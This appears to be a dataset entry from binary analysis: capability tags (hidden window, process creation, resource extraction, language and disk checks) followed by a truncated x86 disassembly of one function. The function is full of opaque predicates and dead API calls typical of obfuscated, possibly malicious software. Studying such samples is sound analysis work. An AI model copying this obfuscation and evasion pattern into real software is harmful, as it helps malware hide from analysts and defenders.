Function at 0x460f89
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get disk size
Hide graphical window
Identify system language via api
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3090
call fcn.00495c90
push esi
push edi
cmp dword [ebp + 8], 2
jl 0x46a8dc
mov dword [ebp - 0x80], 0xfffffff7
mov dword [ebp - 0x354], 0xfffffffe
mov dword [ebp - 0x1c70], 0x99314e76
mov dword [ebp - 0x1c78], 0
mov dword [ebp - 0x1cb0], 0x9c089ced
mov dword [ebp - 0x53c], 0
jmp 0x460fea
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 3
jge 0x461006
mov eax, dword [ebp - 0x53c]
mov dword [ebp + eax*4 - 0x2ee0], 1
jmp 0x460fdd
cmp dword [ebp - 0x80], 0
jne 0x46109b
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x2b78], eax
cmp dword [ebp - 0x80], 2
jg 0x46102b
mov dword [ebp - 0x152c], 1
jmp 0x461032
and dword [ebp - 0x152c], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x152c], eax
jl 0x461049
mov dword [ebp - 0x1c58], 1
jmp 0x461050
and dword [ebp - 0x1c58], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1c58], eax
jge 0x46106d
mov eax, 0x12e75507
test eax, eax
jne 0x46106d
and dword [ebp - 0x1ee4], 0
jmp 0x461077
mov dword [ebp - 0x1ee4], 1
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x2ae4], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x2d50], eax
cmp dword [ebp - 0x354], 0
je 0x4610b0
cmp dword [ebp - 0x80], 0
je 0x4610b0
mov eax, 0x415051ac
test eax, eax
je 0x4610b0
mov dword [ebp - 0x1c60], 1
jmp 0x4610b7
and dword [ebp - 0x1c60], 0
mov eax, dword [ebp - 0x354]
cmp eax, dword [ebp - 0x1c60]
jg 0x4610d1
mov dword [ebp - 0x1c68], 1
jmp 0x4610d8
and dword [ebp - 0x1c68], 0
mov eax, dword [ebp - 0x354]
mov dword [ebp - 0x2aec], eax
mov eax, dword [ebp - 0x1c68]
mov dword [ebp - 0x1c70], eax
mov eax, dword [ebp - 0x1c70]
mov dword [ebp - 0x1c78], eax
mov eax, dword [ebp - 0x1c78]
mov dword [ebp - 0x2d58], eax
mov eax, dword [ebp - 0x1cb0]
mov dword [ebp - 0x2af4], eax
xor eax, eax
jne 0x46112a
cmp dword [ebp - 0x354], 0
jne 0x46112a
and dword [ebp - 0x1c98], 0
jmp 0x461134
mov dword [ebp - 0x1c98], 1
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1c98], eax
jne 0x46114b
mov dword [ebp - 0x1ca0], 1
jmp 0x461152
and dword [ebp - 0x1ca0], 0
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x1ca0]
neg ecx
imul eax, ecx
cmp eax, dword [ebp - 0x80]
jle 0x461171
mov dword [ebp - 0x1ca8], 1
jmp 0x461178
and dword [ebp - 0x1ca8], 0
mov eax, dword [ebp - 0x354]
cmp dword [ebp - 0x1ca8], eax
je 0x461192
mov dword [ebp - 0x1cb8], 1
jmp 0x461199
and dword [ebp - 0x1cb8], 0
mov eax, dword [ebp - 0x1cb0]
cmp dword [ebp - 0x1cb8], eax
jge 0x4611b3
mov dword [ebp - 0x1cc0], 1
jmp 0x4611ba
and dword [ebp - 0x1cc0], 0
mov eax, dword [ebp - 0x80]
cmp dword [ebp - 0x1cc0], eax
jle 0x4611d1
mov dword [ebp - 0x1cc8], 1
jmp 0x4611d8
and dword [ebp - 0x1cc8], 0
mov eax, dword [ebp - 0x1cc8]
neg eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2ee0], eax
mov dword [ebp - 0x6fc], 0x68206240
mov dword [ebp - 0x2dd4], 0
mov byte [ebp - 0x325], 0
movzx eax, byte [ebp - 0x325]
test eax, eax
je 0x46121b
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
mov dword [ebp - 0x6fc], 0xffffffef
jmp 0x461234
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 0xfffffff5
jle 0x461254
mov dword [ebp - 0x1f44], 0x5e00fe1c
cmp dword [ebp - 0x1f44], 0
je 0x461252
jmp 0x461254
jmp 0x461227
push 3
lea ecx, [ebp - 0x271c]
call fcn.0042ec30
mov dword [ebp - 0x428], 0xffffffff
mov dword [ebp - 0x544], 0
jmp 0x461284
mov eax, dword [ebp - 0x544]
inc eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 3
jge 0x4612a6
push dword [ebp - 0x544]
lea ecx, [ebp - 0x271c]
call fcn.0042ed1e
mov dword [eax], 0xff0ea75c
jmp 0x461277
mov byte [ebp - 0x20d], 0
movzx eax, byte [ebp - 0x20d]
test eax, eax
je 0x4612c0
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
mov dword [ebp - 0x428], 0
jmp 0x4612d9
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 2
jg 0x461318
mov byte [ebp - 0x33d], 0
movzx eax, byte [ebp - 0x33d]
test eax, eax
je 0x4612fe
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
push dword [ebp - 0x428]
lea ecx, [ebp - 0x271c]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x461316
jmp 0x4612cc
jmp 0x4612cc
lea ecx, [ebp - 0x271c]
call fcn.0042ed02
push 4
lea ecx, [ebp - 0x22a8]
call fcn.0042ec30
mov dword [ebp - 0x14], 1
push 2
lea ecx, [ebp - 0x1ea4]
call fcn.0042ec30
mov dword [ebp - 0xd0], 0
jmp 0x46135d
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 3
jge 0x461379
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x8dc], 0xec2e0cf5
jmp 0x461350
mov dword [ebp - 0xd0], 0
jmp 0x461392
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x4613b4
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x1ea4]
call fcn.0042ed1e
mov dword [eax], 0xe9829cbc
jmp 0x461385
mov dword [ebp - 0x14], 2
jmp 0x4613c4
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x4615c3
mov dword [ebp - 0x1cf8], 0x3f08700d
mov dword [ebp - 0x1cd8], 0xcc19583e
mov dword [ebp - 0x27c8], 0x808adc70
mov dword [ebp - 0x27c4], 0x808adc70
mov dword [ebp - 0x27c0], 0x808adc70
mov dword [ebp - 0x27bc], 0x808adc70
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8dc]
mov dword [ebp - 0x2afc], eax
cmp dword [ebp - 0x14], 0
jne 0x4614c9
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8dc], 0
jne 0x461491
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x8dc], 0
jne 0x46144d
mov dword [ebp - 0x1f4c], 1
jmp 0x461454
and dword [ebp - 0x1f4c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8dc]
mov dword [ebp - 0x2d28], eax
cmp dword [ebp - 0x1cf8], 0
je 0x46148a
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x8dc], 0
je 0x46148a
mov dword [ebp - 0x1cd0], 1
jmp 0x461491
and dword [ebp - 0x1cd0], 0
push 1
lea ecx, [ebp - 0x1ea4]
call fcn.0042ed1e
mov dword [eax], 0x5257
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2b04], eax
mov dword [ebp - 0x1cd8], 0x6728
cmp dword [ebp - 0x1cd8], 0
jne 0x4614c9
and dword [ebp - 0x1ce0], 0
jmp 0x4614d3
mov dword [ebp - 0x1ce0], 1
cmp dword [ebp - 0x1ce0], 0xffffffff
jg 0x4614e8
mov dword [ebp - 0x1ce8], 1
jmp 0x4614ef
and dword [ebp - 0x1ce8], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1ce8], eax
jle 0x461506
mov dword [ebp - 0x1cf0], 1
jmp 0x46150d
and dword [ebp - 0x1cf0], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x8dc]
cmp dword [ebp - 0x1cf0], eax
je 0x46152c
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x8dc], 0
jne 0x461533
cmp dword [ebp - 0x1cf8], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x8dc]
cmp dword [ebp + eax - 0x8dc], ecx
je 0x46155a
mov dword [ebp - 0x1d00], 1
jmp 0x461561
and dword [ebp - 0x1d00], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1d00], eax
jg 0x461578
mov dword [ebp - 0x1d08], 1
jmp 0x46157f
and dword [ebp - 0x1d08], 0
mov eax, dword [ebp - 0x1d08]
add eax, 0x40a7fcc6
cmp eax, 0x8e65
je 0x4615a4
push 7
pop eax
test eax, eax
je 0x4615a4
mov dword [ebp - 0x1d10], 1
jmp 0x4615ab
and dword [ebp - 0x1d10], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1d10]
mov dword [ebp + eax - 0x27c8], ecx
jmp 0x4613bd
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2e5c], eax
cmp dword [ebp - 0x14], 0
jb 0x4615de
mov dword [ebp - 0x1d18], 1
jmp 0x4615e5
and dword [ebp - 0x1d18], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8dc]
cmp dword [ebp - 0x1d18], eax
jge 0x461606
mov dword [ebp - 0x1d20], 1
jmp 0x46160d
and dword [ebp - 0x1d20], 0
push 1
lea ecx, [ebp - 0x1ea4]
call fcn.0042ed1e
mov eax, dword [eax]
add eax, 7
cmp eax, dword [ebp - 0x1d20]
jl 0x461633
mov dword [ebp - 0x1d28], 1
jmp 0x46163a
and dword [ebp - 0x1d28], 0
push 1
lea ecx, [ebp - 0x1ea4]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1d28]
cmp ecx, dword [eax]
jne 0x46165d
mov dword [ebp - 0x1d30], 1
jmp 0x461664
and dword [ebp - 0x1d30], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8dc]
cmp eax, dword [ebp - 0x1d30]
jl 0x461687
xor eax, eax
inc eax
jne 0x461687
and dword [ebp - 0x1d38], 0
jmp 0x461691
mov dword [ebp - 0x1d38], 1
mov eax, dword [ebp - 0x1d38]
mov dword [ebp - 0x14], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8dc]
cmp dword [ebp - 0x14], eax
jle 0x4616b8
mov dword [ebp - 0x1d40], 1
jmp 0x4616bf
and dword [ebp - 0x1d40], 0
mov esi, dword [ebp - 0x1d40]
sub esi, 0xe188
push 0
lea ecx, [ebp - 0x1ea4]
call fcn.0042ed1e
mov dword [eax], esi
lea ecx, [ebp - 0x1ea4]
call fcn.0042ed02
mov dword [ebp - 0x360], 0x532fe223
mov dword [ebp - 0x2b0c], 0xffffffff
mov byte [ebp - 0x20f], 0
movzx eax, byte [ebp - 0x20f]
test eax, eax
je 0x46172b
push 0
push 0x2e6
push 0
push 0x1445
push 0x159c
push 0
push 0xb83
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov byte [ebp - 0x2ed], 0
movzx eax, byte [ebp - 0x2ed]
test eax, eax
je 0x461748
push 0x1bb6
call dword [sym.imp.USER32.dll_MessageBeep]
mov dword [ebp - 0x6ec], 0x68206240
mov dword [ebp - 0x2d30], 0
mov byte [ebp - 0x211], 0
movzx eax, byte [ebp - 0x211]
test eax, eax
je 0x461776
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
mov dword [ebp - 0x6ec], 0xffffffef
jmp 0x46178f
mov eax, dword [ebp - 0x6ec]
inc eax
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 0xfffffff5
jle 0x4617af
mov dword [ebp - 0x1f54], 0x5e00fe1c
cmp dword [ebp - 0x1f54], 0
je 0x4617ad
jmp 0x4617af
jmp 0x461782
mov dword [ebp - 0x54c], 0
jmp 0x4617c8
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 4
jge 0x4617ea
push dword [ebp - 0x54c]
lea ecx, [ebp - 0x22a8]
call fcn.0042ed1e
mov dword [eax], 0xb9b5
jmp 0x4617bb
mov dword [ebp - 0x2b14], 0x312fbb6b
mov dword [ebp - 0x23e4], 6
mov dword [ebp - 0x23e0], 6
mov dword [ebp - 0x23dc], 6
mov dword [ebp - 0x23d8], 6
mov dword [ebp - 0xa1c], 4
mov dword [ebp - 0x1f6c], 0x9c5a74d4
mov dword [ebp - 0xa14], 1
mov dword [ebp - 0x6e8], 0
jmp 0x461853
mov eax, dword [ebp - 0x6e8]
inc eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 2
jge 0x46186f
mov eax, dword [ebp - 0x6e8]
mov dword [ebp + eax*4 - 0x2fac], 0x8a99
jmp 0x461846
imul eax, dword [ebp - 0xa14], 0
mov dword [ebp - 0x1f5c], eax
mov eax, dword [ebp - 0xa1c]
mov dword [ebp - 0x1f64], eax
mov eax, dword [ebp - 0xa14]
dec eax
mov dword [ebp - 0xa14], eax
mov eax, dword [ebp - 0x1f5c]
cmp eax, dword [ebp - 0x1f64]
jne 0x4618af
mov dword [ebp - 0x1d48], 1
jmp 0x4618b6
and dword [ebp - 0x1d48], 0
mov eax, dword [ebp - 0xa1c]
cmp dword [ebp - 0x1d48], eax
jle 0x4618d0
mov dword [ebp - 0x1d50], 1
jmp 0x4618d7
and dword [ebp - 0x1d50], 0
cmp dword [ebp - 0x1d50], 0xfffffffe
jne 0x4618ee
xor eax, eax
inc eax
jne 0x4618ee
and dword [ebp - 0x1d58], 0
jmp 0x4618f8
mov dword [ebp - 0x1d58], 1
imul eax, dword [ebp - 0x1d58], 0xfffffffa
add eax, dword [ebp - 0x1f6c]
cmp eax, 6
jb 0x461916
mov dword [ebp - 0x1d60], 1
jmp 0x46191d
and dword [ebp - 0x1d60], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1d60]
sub ecx, dword [ebp + eax - 0x23e4]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x23e4]
jne 0x46194b
mov dword [ebp - 0x1d68], 1
jmp 0x461952
and dword [ebp - 0x1d68], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x23e4]
imul eax, dword [ebp - 0x1d68]
mov dword [ebp - 0xa1c], eax
mov byte [ebp - 0x33f], 0
movzx eax, byte [ebp - 0x33f]
test eax, eax
je 0x461984
call dword [sym.imp.USER32.dll_GetCapture]
mov dword [ebp - 0x360], 3
jmp 0x46199d
mov eax, dword [ebp - 0x360]
dec eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0
jl 0x462af5
mov dword [ebp - 0x430], 1
push 3
lea ecx, [ebp - 0x2298]
call fcn.0042ec30
mov dword [ebp - 0x4d4], 0x81720d70
mov dword [ebp - 0x1d90], 0x9d73ae4c
mov dword [ebp - 0x554], 0
jmp 0x4619ee
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 3
jge 0x461a10
push dword [ebp - 0x554]
lea ecx, [ebp - 0x2298]
call fcn.0042ed1e
mov dword [eax], 0xfffffff8
jmp 0x4619e1
mov dword [ebp - 0x430], 0
jmp 0x461a29
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 4
jne 0x461eae
mov dword [ebp - 0x434], 0xffffffff
push 1
lea ecx, [ebp - 0x1db0]
call fcn.0042ec30
mov dword [ebp - 0x20f0], 0x45e2138b
mov dword [ebp - 0x55c], 0x46aa1dd5
mov dword [ebp - 0x3a8], 0xffffffff
mov dword [ebp - 0x808], 0
jmp 0x461a84
mov eax, dword [ebp - 0x808]
inc eax
mov dword [ebp - 0x808], eax
cmp dword [ebp - 0x808], 1
jge 0x461aa6
push dword [ebp - 0x808]
lea ecx, [ebp - 0x1db0]
call fcn.0042ed1e
mov dword [eax], 1
jmp 0x461a77
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x2ddc], eax
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x2b1c], eax
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0x4d4], eax
jge 0x461ad8
mov dword [ebp - 0x1f74], 1
jmp 0x461adf
and dword [ebp - 0x1f74], 0
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
push 0
lea ecx, [ebp - 0x2298]
call fcn.0042ed1e
mov dword [ebp - 0x1d70], eax
push 1
lea ecx, [ebp - 0x2298]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1d70]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x55c]
mov ecx, dword [ebp - 0x1d70]
add eax, dword [ecx]
cmp eax, 0x25452e2c
jge 0x461b37
mov dword [ebp - 0x1d78], 1
jmp 0x461b3e
and dword [ebp - 0x1d78], 0
mov eax, dword [ebp - 0x20f0]
cmp dword [ebp - 0x1d78], eax
jl 0x461b61
cmp dword [ebp - 0x55c], 0
je 0x461b61
mov dword [ebp - 0x1d80], 1
jmp 0x461b68
and dword [ebp - 0x1d80], 0
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0x1d80], eax
jne 0x461b82
mov dword [ebp - 0x1d88], 1
jmp 0x461b89
and dword [ebp - 0x1d88], 0
mov eax, dword [ebp - 0x1d88]
mov dword [ebp - 0x1d90], eax
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0x1d90], eax
jg 0x461baf
mov dword [ebp - 0x1d98], 1
jmp 0x461bb6
and dword [ebp - 0x1d98], 0
mov eax, dword [ebp - 0x4d4]
cmp dword [ebp - 0x1d98], eax
jge 0x461bd0
mov dword [ebp - 0x20f8], 1
jmp 0x461bd7
and dword [ebp - 0x20f8], 0
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2b48], eax
push 0
lea ecx, [ebp - 0x1db0]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x461c0a
mov eax, 0xffff
test eax, eax
je 0x461c0a
mov dword [ebp - 0x1da0], 1
jmp 0x461c11
and dword [ebp - 0x1da0], 0
mov esi, dword [ebp - 0x434]
sub esi, dword [ebp - 0x1da0]
push 0
lea ecx, [ebp - 0x1db0]
call fcn.0042ed1e
cmp esi, dword [eax]
je 0x461c3a
mov dword [ebp - 0x1e34], 1
jmp 0x461c41
and dword [ebp - 0x1e34], 0
cmp dword [ebp - 0x1e34], 0xe8e103ca
jne 0x461c59
mov dword [ebp - 0x1e3c], 1
jmp 0x461c60
and dword [ebp - 0x1e3c], 0
mov eax, dword [ebp - 0x1e3c]
sub eax, 0x565e139a
cmp eax, 0xaa48
jge 0x461c7e
mov dword [ebp - 0x1e44], 1
jmp 0x461c85
and dword [ebp - 0x1e44], 0
mov eax, dword [ebp - 0x3a8]
cmp dword [ebp - 0x1e44], eax
jne 0x461c9f
mov dword [ebp - 0x1e20], 1
jmp 0x461ca6
and dword [ebp - 0x1e20], 0
cmp dword [ebp - 0x1e20], 0
je 0x461cef
mov dword [ebp - 0x3a8], 0
jmp 0x461cc8
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 1
jge 0x461cea
push dword [ebp - 0x3a8]
lea ecx, [ebp - 0x1db0]
call fcn.0042ed1e
mov dword [eax], 1
jmp 0x461cbb
jmp 0x461e9e
push 3
lea ecx, [ebp - 0x2438]
call fcn.0042ec30
mov dword [ebp - 0xa24], 1
mov dword [ebp - 0x2108], 0xffffffff
mov dword [ebp - 0x6f0], 0
jmp 0x461d29
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 3
jge 0x461d4b
push dword [ebp - 0x6f0]
lea ecx, [ebp - 0x2438]
call fcn.0042ed1e
mov dword [eax], 0xa7003b9f
jmp 0x461d1c
push 2
lea ecx, [ebp - 0x2438]
call fcn.0042ed1e
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2d44], eax
mov eax, dword [ebp - 0x4d4]
sub eax, 0xb20e
cmp eax, 0xdfe90167
jne 0x461d82
mov dword [ebp - 0x2100], 1
jmp 0x461d89
and dword [ebp - 0x2100], 0
mov eax, 0x2166a3c8
cmp eax, 0xffffffff
jb 0x461d9f
mov dword [ebp - 0x1c94], 1
jmp 0x461da6
and dword [ebp - 0x1c94], 0
mov eax, dword [ebp - 0x1c94]
mov dword [ebp - 0xa24], eax
push 0
lea ecx, [ebp - 0x1db0]
call fcn.0042ed1e
push 1
lea ecx, [ebp - 0x2298]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x461e23
push 0
lea ecx, [ebp - 0x1db0]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x461df6
mov eax, dword [ebp - 0xa24]
neg eax
je 0x461df6
and dword [ebp - 0x17a8], 0
jmp 0x461e00
mov dword [ebp - 0x17a8], 1
push 2
lea ecx, [ebp - 0x2438]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x17a8]
imul ecx, dword [eax]
test ecx, ecx
jne 0x461e23
and dword [ebp - 0xbc8], 0
jmp 0x461e2d
mov dword [ebp - 0xbc8], 1
mov eax, dword [ebp - 0xbc8]
sub eax, 0x2b2c
cmp eax, dword [ebp - 0xa24]
jne 0x461e4c
mov dword [ebp - 0xa2c], 1
jmp 0x461e53
and dword [ebp - 0xa2c], 0
push 0
lea ecx, [ebp - 0x1db0]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xa2c]
mov dword [eax], ecx
cmp dword [ebp - 0xa2c], 0xf5f1
jne 0x461e80
mov dword [ebp - 0x17b0], 1
jmp 0x461e87
and dword [ebp - 0x17b0], 0
mov eax, dword [ebp - 0x17b0]
mov dword [ebp - 0x2108], eax
lea ecx, [ebp - 0x2438]
call fcn.0042ed02
lea ecx, [ebp - 0x1db0]
call fcn.0042ed02
jmp 0x461a1c
lea ecx, [ebp - 0x2298]
call fcn.0042ed02
push 2
lea ecx, [ebp - 0xa74]
call fcn.0042ec30
mov dword [ebp - 0x2110], 8
mov dword [ebp - 0x17b8], 0xfffffff7
mov dword [ebp - 0xbf0], 0xb4b5a9ce
mov dword [ebp - 0xbf8], 0x9d20578c
mov dword [ebp - 0x2c], 0
jmp 0x461efe
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x461f1a
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
mov dword [eax], 0xa87013dc
jmp 0x461ef7
mov dword [ebp - 0x2c], 0
jmp 0x461f2a
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x461f40
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x24e8], 0xffffffff
jmp 0x461f23
mov dword [ebp - 0x2c], 0
jmp 0x461f50
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x461f66
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x2f40], 1
jmp 0x461f49
push 1
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
cmp dword [eax], 0x1ec2
jle 0x461f87
mov dword [ebp - 0xbd0], 1
jmp 0x461f8e
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0xbd0]
mov dword [ebp - 0x17b8], eax
cmp dword [ebp - 0x17b8], 0
jae 0x461faf
mov dword [ebp - 0xbd8], 1
jmp 0x461fb6
and dword [ebp - 0xbd8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xbd8]
mov dword [ebp + eax - 0x24e8], ecx
push 1
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
cmp dword [eax], 0
ja 0x461fe7
mov dword [ebp - 0x17c0], 1
jmp 0x461fee
and dword [ebp - 0x17c0], 0
mov eax, dword [ebp - 0x2110]
cmp eax, dword [ebp - 0x17c0]
jne 0x462018
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x24e8], 0
je 0x462018
mov dword [ebp - 0xbe0], 1
jmp 0x46201f
and dword [ebp - 0xbe0], 0
push 1
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
mov ecx, dword [ebp - 0xbe0]
cmp ecx, dword [eax]
jl 0x462042
mov dword [ebp - 0x17c8], 1
jmp 0x462049
and dword [ebp - 0x17c8], 0
push 1
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x17c8]
cmp ecx, dword [eax]
jne 0x46206c
mov dword [ebp - 0xbe8], 1
jmp 0x462073
and dword [ebp - 0xbe8], 0
cmp dword [ebp - 0xbe8], 1
je 0x462088
mov dword [ebp - 0x17d0], 1
jmp 0x46208f
and dword [ebp - 0x17d0], 0
mov eax, dword [ebp - 0x17d0]
mov dword [ebp - 0xbf0], eax
mov esi, dword [ebp - 0xbf0]
push 1
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
cmp esi, dword [eax]
jle 0x4620be
mov dword [ebp - 0x17d8], 1
jmp 0x4620c5
and dword [ebp - 0x17d8], 0
push 1
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
mov eax, dword [eax]
add eax, dword [ebp - 0x17d8]
mov dword [ebp - 0xbf8], eax
mov esi, dword [ebp - 0xbf8]
push 1
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
imul esi, dword [eax]
push 1
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
cmp esi, dword [eax]
jle 0x462113
mov dword [ebp - 0x17e0], 1
jmp 0x46211a
and dword [ebp - 0x17e0], 0
cmp dword [ebp - 0x17e0], 0xc86695cd
jb 0x462132
mov dword [ebp - 0xc00], 1
jmp 0x462139
and dword [ebp - 0xc00], 0
cmp dword [ebp - 0xc00], 0
jne 0x46214e
mov dword [ebp - 0x17e8], 1
jmp 0x462155
and dword [ebp - 0x17e8], 0
push 1
lea ecx, [ebp - 0xa74]
call fcn.0042ed1e
mov eax, dword [eax]
cmp eax, dword [ebp - 0x17e8]
jge 0x462178
mov dword [ebp - 0xc08], 1
jmp 0x46217f
and dword [ebp - 0xc08], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xc08]
mov dword [ebp + eax - 0x2f40], ecx
lea ecx, [ebp - 0xa74]
call fcn.0042ed02
push dword [ebp - 0x360]
lea ecx, [ebp - 0x22a8]
call fcn.0042ed1e
mov esi, eax
push dword [ebp - 0x360]
lea ecx, [ebp - 0x22a8]
call fcn.0042ed1e
mov ecx, dword [esi]
mov dword [eax], ecx
mov dword [ebp - 0xb8], 0x1dfe4b28
push 3
lea ecx, [ebp - 0x86c]
call fcn.0042ec30
mov dword [ebp - 0x368], 1
mov dword [ebp - 0x1ac], 9
push 1
lea ecx, [ebp - 0xb38]
call fcn.0042ec30
push 2
lea ecx, [ebp - 0xa84]
call fcn.0042ec30
mov dword [ebp - 0xa34], 0xffffffff
mov dword [ebp - 0x24c], 0xfffffffa
mov dword [ebp - 0x3d0], 3
mov dword [ebp - 0x2120], 0
mov dword [ebp - 0x56c], 0x3e1243b3
mov dword [ebp - 0x2130], 0x38a8
mov dword [ebp - 0x48], 0
jmp 0x462255
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x462271
push dword [ebp - 0x48]
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
mov dword [eax], 0x4ed383de
jmp 0x46224e
mov dword [ebp - 0x48], 0
jmp 0x462281
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x46229d
push dword [ebp - 0x48]
lea ecx, [ebp - 0xb38]
call fcn.0042ed1e
mov dword [eax], 0x75e3aa9c
jmp 0x46227a
mov dword [ebp - 0x48], 0
jmp 0x4622ad
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x4622c9
push dword [ebp - 0x48]
lea ecx, [ebp - 0xa84]
call fcn.0042ed1e
mov dword [eax], 0x6007675e
jmp 0x4622a6
cmp dword [ebp - 0xb8], 0
jne 0x4624d2
cmp dword [ebp - 0xb8], 0
je 0x4623e8
cmp dword [ebp - 0xb8], 0
je 0x462344
push 2
lea ecx, [ebp - 0x86c]
call fcn.0042ed1e
cmp dword [eax], 1
je 0x46230a
mov dword [ebp - 0x17f0], 1
jmp 0x462311
and dword [ebp - 0x17f0], 0
mov eax, dword [ebp - 0x17f0]
sub eax, dword [ebp - 0xb8]
jne 0x462331
cmp dword [ebp - 0xb8], 0
jne 0x462331
and dword [ebp - 0xc10], 0
jmp 0x46233b
mov dword [ebp - 0xc10], 1
cmp dword [ebp - 0xc10], 0
jb 0x462356
cmp dword [ebp - 0xb8], 0
